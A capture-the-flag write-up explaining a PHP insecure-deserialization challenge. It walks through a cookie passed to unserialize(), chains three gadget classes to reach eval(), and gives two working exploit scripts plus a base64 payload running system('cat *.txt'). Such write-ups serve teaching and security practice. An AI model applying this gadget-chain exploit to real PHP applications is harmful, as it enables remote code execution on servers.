This challenge was solved by one of our team member H0j3n. I only managed to solve half of it due to time constraints and stuck on chaining the gadgets.
In this challenge, we were given a source code zipped in a file called dist.zip
Unzipped we will have the following files:
Well, what is it? What kind of web is this?
This seems like a simple PHP website with composer package manager installed. With bunch of PHP folders with the name Gadgets
Let’s take a look at index.php first
<?php
require("vendor/autoload.php");
if (isset($_COOKIE['cookie'])) {
$cookie = base64_decode($_COOKIE['cookie']);
unserialize($cookie);
}
echo "Welcome to my web app!";
Breakdown of what the code does:
-
require("vendor/autoload.php");
:-
This line includes the PHP file
vendor/autoload.php
using therequire
statement. This typically suggests that the code is using Composer, a PHP package manager, and it's likely loading dependencies or classes defined in thevendor
directory.
-
This line includes the PHP file
-
if (isset($_COOKIE['cookie']))
:-
This conditional statement checks whether a cookie named
'cookie'
is set in the user's browser.
-
This conditional statement checks whether a cookie named
-
Cookie Decoding:
-
If the
'cookie'
cookie is set, the code proceeds to decode its value usingbase64_decode
. The decoded value is stored in the$cookie
variable.
-
If the
-
Unserialization:
-
The code then attempts to unserialize the value of the
$cookie
variable using theunserialize()
function. This function is used to restore an object or data structure from its serialized (string) representation. -
When
unserialize()
is used with untrusted data, an attacker can craft malicious serialized data that contains PHP code. When this data is deserialized, the PHP code within it can be executed on the server, leading to remote code execution. This can allow attackers to take control of the server or perform malicious actions.
-
The code then attempts to unserialize the value of the
Ohoo now we know that unserialize()
is vulnerable to insecure deserialization attack…
But wait.. remember all the Gadgets
files that we’ve seen in the picture before this? It might be useful.
Let’s take a look at them (GadgetOne,GadgetTwo, GadgetThree)
GadgetOne (Adders.php)
<?php
namespace GadgetOne {
class Adders
{
private $x;
function __construct($x)
{
$this->x = $x;
}
function get_x()
{
return $this->x;
}
}
}
This PHP code defines a class named Adders
within the GadgetOne
namespace, which has a private property $x
and methods to set and retrieve its value.
GadgetTwo (Echoers.php)
<?php
namespace GadgetTwo {
class Echoers
{
protected $klass;
function __destruct()
{
echo $this->klass->get_x();
}
}
}
This PHP code defines a class Echoers
within the GadgetTwo
namespace, and when an instance of this class is destroyed, it attempts to echo the value returned by the get_x()
method of an object stored in its protected $klass
property, assuming that such an object is present.
GadgetThree (Vuln.php)
<?php
namespace GadgetThree {
class Vuln
{
public $waf1;
protected $waf2;
private $waf3;
public $cmd;
function __toString()
{
if (!($this->waf1 === 1)) {
die("not x");
}
if (!($this->waf2 === "\xde\xad\xbe\xef")) {
die("not y");
}
if (!($this->waf3) === false) {
die("not z");
}
eval($this->cmd);
}
}
}
This PHP code defines a class Vuln
within the GadgetThree
namespace, with public, protected, and private properties, and when the __toString()
method is called, it checks some conditions and executes the code provided in the cmd
property if those conditions are met, potentially allowing for arbitrary code execution.
Interesting eval()
function here (RCE probably) 👀
So.. what do we do now with all this stuff that we have found?
Well, I am guessing that we have to chain
all these Gadgets
, serialize it using serialize()
and pass it to the unserialize()
function inside the website in order to get the flag through RCE (Remote Code Execution)
To make it simple:
- GadgetOne(Adders.php) stores value.
- GadgetTwo(Echoers.php) echo the value given to it after the object is destroyed.
-
GadgetThree(Vuln.php) runs code execution
eval()
The flow of how it should be chained and how the payload can be generated:
-
Initialize GadgetThree(Vuln.php), match all the checks, pass in
system()
command to achieve RCE. - Initialize GadgetOne(Adders.php) and pass the previously initialized GadgetThree to GadgetOne. GadgetOne will now store our GadgetThree object.
- The last part is to, initialize GadgetTwo(Echoers.php) and pass the previously initialized GadgetOne. GadgetTwo will now echo the things that we’ve stored in GadgetOne just now.
- Serialize them. (GadgetTwo)
-
Pass it to the
cookie
on the website in base64 encoded form. - Profit ?????
GadgetThree(Vuln.php) → GadgetOne(Adders.php) → GadgetTwo(Echoers.php)
So, how can we craft our own deserialization payload?
To craft our own deserialization
payload, we need a PHP testbed to make it work and run it first. In the final step, we will serialize the working code using serialize()
function.
But wait.. there’s a problem.
As we can see in the Gadgets
code previously, the code uses protected
and private
variables, which doesn’t allow direct tampering of variables from outside. By default, this prohibits us from passing in data and match all the checks inside the Gadgets
ReflectionClass to the rescue!
In PHP, the ReflectionClass
class is part of the Reflection API, which allows you to inspect and manipulate information about classes and their properties, methods, and other class-related details at runtime. Specifically, ReflectionClass
is used to obtain information about a particular class. (It’s useful for dirty debugging I guess)
Reference:
With ReflectionClass
, we could manipulate the protected
and private
variables during runtime to make the code work/run as it should.
Now, we could easily match all the checks and pass in data to the Gadgets
that we have just now.
Author note: Tbh, I thought the payload generated from this ReflectionClass
method would only work locally. But after reading H0j3n’s brief writeup and understanding a ‘little bit’ about PHP deserialization, it actually works on the same environment (locally or remotely) if it were to be serialized.
Solution
Approach 1 (Credit to H0j3n)
<?php
require("vendor/autoload.php");
$gadgetOne = new \GadgetOne\Adders(1);
$gadgetTwo = new \GadgetTwo\Echoers();
$gadgetThree = new \GadgetThree\Vuln();
// Setup GadgeThree == Setup Vuln with RCE
// __toString() == Need to trigger this with echo (Can only be found in Echoers.php)
// get an Vuln class instance
$vuln = new \GadgetThree\Vuln();
$reflection = new \ReflectionClass($gadgetThree);
$property = $reflection->getProperty('waf1');
$property->setAccessible(true);
$property->setValue($vuln, 1);
$property = $reflection->getProperty('waf2');
$property->setAccessible(true);
$property->setValue($vuln, "\xde\xad\xbe\xef");
$property = $reflection->getProperty('waf3');
$property->setAccessible(true);
$property->setValue($vuln, false);
$property = $reflection->getProperty('cmd');
$property->setAccessible(true);
$property->setValue($vuln, "system('cat *.txt');");
// Setup GadgetOne == set x = Vuln()
// __construct($x) == Can easily set x = Vuln()
// get a Adders class instance
$adders = new \GadgetOne\Adders(1);
$reflection = new \ReflectionClass($gadgetOne);
$property = $reflection->getProperty('x');
$property->setAccessible(true);
$property->setValue($adders, $vuln);
// Setup GadgetTwo
// __destruct() == Trigger if exception or exit
// We can try to set klass with GadgetOne value contains our RCE payload
// get Echoers class instance
$echoers = new \GadgetTwo\Echoers();
$reflection = new \ReflectionClass($gadgetTwo);
$property = $reflection->getProperty('klass');
$property->setAccessible(true);
$property->setValue($echoers, $adders);
$serialized = serialize($echoers);
echo base64_encode($serialized);
echo "\n";
?>
Explanation from H0j3n:
-
__construct()
in GadgetOne = Use this to set$x
toVuln()
with RCE + bypass thewaf1,waf2,waf3
-
__destruct()
in GadgetTwo = Inside here got echo which will be use to trigger__toString()
. But to trigger__destruct()
, from what I know we need to make it exit/exception which we can set the$klass
with the object of GadgetOne itself.
Useful functions in ReflectionClass
that make this method work:
setAccessible() → Make the property/variable accessible.
setValue() → Set the value for the property/variable.
Running the code above, will generate the payload in base64-encoded form:
TzoxNzoiR2FkZ2V0VHdvXEVjaG9lcnMiOjE6e3M6ODoiACoAa2xhc3MiO086MTY6IkdhZGdldE9uZVxBZGRlcnMiOjE6e3M6MTk6IgBHYWRnZXRPbmVcQWRkZXJzAHgiO086MTY6IkdhZGdldFRocmVlXFZ1bG4iOjQ6e3M6NDoid2FmMSI7aToxO3M6NzoiACoAd2FmMiI7czo0OiLerb7vIjtzOjIyOiIAR2FkZ2V0VGhyZWVcVnVsbgB3YWYzIjtiOjA7czozOiJjbWQiO3M6MjA6InN5c3RlbSgnY2F0ICoudHh0Jyk7Ijt9fX0=
Approach 2 (credit to HeapCreate)
<?php
namespace GadgetOne {
class Adders {
private $x;
function __construct($x) {
$this->x = $x;
}
}
}
namespace GadgetTwo {
class Echoers {
protected $klass;
}
}
namespace GadgetThree {
class Vuln {
public $waf1 = 1;
protected $waf2 = "\xde\xad\xbe\xef";
private $waf3 = false;
public $cmd = "system('id');";
}
}
namespace {
$GadgetThree = new GadgetThree\Vuln();
$GadgetOne = new GadgetOne\Adders($GadgetThree);
$GadgetTwo = new GadgetTwo\Echoers();
$reflectionClass = new ReflectionClass($GadgetTwo);
$reflectionProperty = $reflectionClass->getProperty("klass");
$reflectionProperty->setAccessible(true);
$reflectionProperty->setValue($GadgetTwo, $GadgetOne);
$serialized = base64_encode(serialize($GadgetTwo));
echo $serialized."\n";
}
This is another approach by our new member HeapCreate. Works the same as above, but requires less usage of ReflectionClass
and much more neater (imo).
Final steps
Pass the generated payload to cookie
and you will get the flag!
Flag: TCP1P{unserialize in php go brrrrrrrr ouch}
Thanks for reading my write-up and have a nice day!